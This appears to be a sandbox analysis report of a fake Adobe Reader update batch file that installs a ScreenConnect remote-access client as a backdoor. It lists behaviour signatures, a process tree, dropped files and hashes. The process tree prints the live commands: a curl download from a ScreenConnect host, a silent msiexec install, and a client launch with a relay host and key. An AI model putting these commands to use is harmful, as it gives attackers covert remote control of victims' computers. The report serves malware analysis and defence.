Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 18:17

General

  • Target
    AdobeReader-Update.108.188.cmd
  • Size 4KB
  • Sample260623-wxbbrafs8t
  • SHA256 e4af62c3508b88cebee4345eb5c489d0510d3ca8a3220a211421e29af2c2f321
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 27 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 11 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\AdobeReader-Update.108.188.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4064
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4428
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\AdobeReader-Update.108.188.cmd" mnbifw
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:6056
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2068
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:5952
          • C:\Windows\system32\curl.exe
            "curl.exe" -sL -o "C:\Users\Admin\AppData\Local\Temp\c5b1juj0zg1q.msi" "https://aboutmmc1.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
            3⤵
              PID:2652
            • C:\Windows\system32\msiexec.exe
              "msiexec" /i "C:\Users\Admin\AppData\Local\Temp\c5b1juj0zg1q.msi" /qn /norestart
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:4480
        • C:\Windows\system32\msiexec.exe
          C:\Windows\system32\msiexec.exe /V
          1⤵
          • Enumerates connected drives
          • Boot or Logon Autostart Execution: Authentication Package
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1536
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding 10B980ACE7DD8EBF8B8187584F77EA9A
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:5812
            • C:\Windows\SysWOW64\rundll32.exe
              rundll32.exe "C:\Windows\Installer\MSI1FA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240714484 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
              3⤵
              • Loads dropped DLL
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:3828
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding BA20DA2C1F0F182779A57BF58F229D17 E Global\MSI0000
            2⤵
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1136
        • C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.ClientService.exe
          "C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-lvnhco-relay.screenconnect.com&p=443&s=e3a81da4-1792-4b9e-8d0f-17ae46760f57&k=BgIAAACkAABSU0ExAAgAAAEAAQBhXfTCHED0iUPjeM6AkDcqgzSEDrJcmgXTGv9j%2fWJTapKs9Ae51c69U0LfyHYnGIBmJiSCY4AtQQcNf7z2VfYhFF8q%2bG8Qp%2fpa3auJKb8fLWnQrpK74kyoWHFXDk4iO6raioiHHt34ggTuN4db0LDrXnPHHXsLRaGupXI%2fl9wBiuABP8OuBfpx8ndvG3uqgd%2fGh3DQwJ6Gy%2fnfh2iw5lFzvyJLiGyOrQLakc0U9FgWB6tvE8uUUfgCni30mtVEF93NKE79GIXN0ZCxZr3lw4Pt3OVX8Hj4SqXpT0UGFC3f0chFbzzq6mcu1mMzwzYxsCp1XVbq8C1S41PZQx8EPbfG"
          1⤵
          • Sets service image path in registry
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3084
          • C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.WindowsClient.exe
            "C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.WindowsClient.exe" "RunRole" "61df1a73-65b7-4b33-96e8-b7d876d2e32c" "User"
            2⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:1576
          • C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.WindowsClient.exe
            "C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.WindowsClient.exe" "RunRole" "3417b62d-c5e3-4320-81e2-f004ff67681e" "System"
            2⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            PID:4128

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              e58fff9.rbs

              • Path C:\Config.Msi\e58fff9.rbs
              • Size 214KB
              • SHA256 8ebe3d706c3a718e14eb9ca59da752bbb8de403b108454b657411f7c760f4f4a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\Client.en-US.resources
              • Size 64KB
              • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\Client.resources
              • Size 6KB
              • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Client.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.Client.dll
              • Size 412KB
              • SHA256 44d7c87abe55a23318a1627a845a999acc268cc4ece97e2e80849ad869809ee1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.ClientService.dll
              • Size 91KB
              • SHA256 b607976c1aa7e804d8d53993ddf81ebf4b85117a12d7b4e9ee228e907e1f4025
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 4cfe96e8e6d4cc96bc0f9c7935ab32531deeb0f52a8c39f739da928d6f5d344b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.Core.dll
              • Size 577KB
              • SHA256 5c98fa479fd677e900bd53f15c3969deeb99c109e026f169862a6458a55bddcb
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.Windows.dll
              • Size 1.7MB
              • SHA256 c1a6e533825b7adb9c2312c1674a5506fd3db460a15443d82c58b5037c68a9f0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsAuthenticationPackage.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.WindowsClient.exe
              • Size 675KB
              • SHA256 6d1660e7e219fd873124c6e491ed41793a9b43b29e90ca494893a07a70abe172
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe.config

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.WindowsClient.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH

              ScreenConnect.WindowsCredentialProvider.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\ScreenConnect.WindowsCredentialProvider.dll
              • Size 837KB
              • SHA256 f340a7376628a7a27ff45dd479cb5c09e072e79bbd318deef39325c29541dbdd
              • MD5 SHA1 SHA512 SSDEEP TLSH

              system.config

              • Path C:\Program Files (x86)\ScreenConnect Client (ede4feac61e92d28)\system.config
              • Size 956B
              • SHA256 b05f65c774fdf1a0fd264e3ae9cf4582dc941da319d6c9750f9b8fe97ebce339
              • MD5 SHA1 SHA512 TLSH

              c5b1juj0zg1q.msi

              • Path C:\Users\Admin\AppData\Local\Temp\c5b1juj0zg1q.msi
              • Size 9.8MB
              • SHA256 a86be4d3e760707dca68fcc93388bc3b1dbcf360bbf1d7f4ee4b9748a7a73890
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI1FA.tmp

              • Path C:\Windows\Installer\MSI1FA.tmp
              • Size 1.1MB
              • SHA256 71155d6834aa9d39bdbe3c1b1791f7e59c263b3be61ee4e4d645a29fdee7dd27
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Microsoft.Deployment.WindowsInstaller.dll

              • Path C:\Windows\Installer\MSI1FA.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Windows\Installer\MSI1FA.tmp-\ScreenConnect.Core.dll
              • Size 567KB
              • SHA256 3e335088245a44e7d929a108a3fec2985df749f697fdd7c1815abefe9a1effb0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.InstallerActions.dll

              • Path C:\Windows\Installer\MSI1FA.tmp-\ScreenConnect.InstallerActions.dll
              • Size 24KB
              • SHA256 52d52f271a4314bece5f573642fd41f9e71724796e250a96ca61470ba71b4d82
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Windows\Installer\MSI1FA.tmp-\ScreenConnect.Windows.dll
              • Size 1.7MB
              • SHA256 e0cf56d4793a7ac0ede73d5229c1cf8a9eb0f8352a61ecdd42ee4800a42ceaef
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI7D8.tmp

              • Path C:\Windows\Installer\MSI7D8.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH

              dgz2nqqv.newcfg

              • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ede4feac61e92d28)\dgz2nqqv.newcfg
              • Size 881B
              • SHA256 5b363e9c7d6949bda9a2f941ffff1b0add8ab87a10e5afa910f9477728882946
              • MD5 SHA1 SHA512 TLSH

              qrt3c5wk.newcfg

              • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ede4feac61e92d28)\qrt3c5wk.newcfg
              • Size 881B
              • SHA256 74ba65c77fb4d1cd664da7242eb49b97109b60d4dbefca57c0379413103055e6
              • MD5 SHA1 SHA512 TLSH

              user.config

              • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ede4feac61e92d28)\user.config
              • Size 520B
              • SHA256 fb308122aed10d262c76f24a599a43b5a64501d934acda912ef73f42a71e3121
              • MD5 SHA1 SHA512 TLSH

              user.config

              • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ede4feac61e92d28)\user.config
              • Size 683B
              • SHA256 b171f0185552da11dabbedb41224f4916d7ed70680d49fbc96362bd247855ccc
              • MD5 SHA1 SHA512 TLSH

              v5ykwx12.newcfg

              • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ede4feac61e92d28)\v5ykwx12.newcfg
              • Size 881B
              • SHA256 3ae6db4755f882c9fcdb7ebdd89707abb4b12312be4b0d067cb073df823e89c7
              • MD5 SHA1 SHA512 TLSH

              xce31ncv.newcfg

              • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ede4feac61e92d28)\xce31ncv.newcfg
              • Size 881B
              • SHA256 505008e7dff3884dbd2822048455104298e301e5704447afc928cd560be1bec8
              • MD5 SHA1 SHA512 TLSH

              memory/1576-137-0x000000001BCF0000-0x000000001BD5C000-memory.dmp

              memory/1576-141-0x000000001C5F0000-0x000000001C778000-memory.dmp

              memory/1576-139-0x000000001C2B0000-0x000000001C460000-memory.dmp

              memory/1576-138-0x000000001C060000-0x000000001C0F4000-memory.dmp

              memory/1576-140-0x00000000031D0000-0x00000000031EA000-memory.dmp

              memory/1576-136-0x0000000000FD0000-0x000000000107C000-memory.dmp

              memory/3084-72-0x0000000003D20000-0x0000000003D3A000-memory.dmp

              memory/3084-78-0x0000000003DE0000-0x0000000003E74000-memory.dmp

              memory/3084-95-0x0000000003F20000-0x0000000003F70000-memory.dmp

              memory/3084-117-0x0000000004440000-0x0000000004516000-memory.dmp

              memory/3084-82-0x0000000004030000-0x00000000041E0000-memory.dmp

              memory/3084-113-0x0000000004250000-0x00000000042E2000-memory.dmp

              memory/3084-112-0x00000000041E0000-0x000000000424C000-memory.dmp

              memory/3084-115-0x0000000003F70000-0x0000000003FB1000-memory.dmp

              memory/3828-36-0x00000000067A0000-0x0000000006D5A000-memory.dmp

              memory/3828-31-0x0000000005DE0000-0x0000000005E74000-memory.dmp

              memory/3828-27-0x0000000005D30000-0x0000000005D3C000-memory.dmp

              memory/3828-23-0x0000000005D00000-0x0000000005D2E000-memory.dmp

              memory/3828-35-0x0000000006030000-0x00000000061E0000-memory.dmp

              memory/4128-183-0x00000000016B0000-0x00000000016F1000-memory.dmp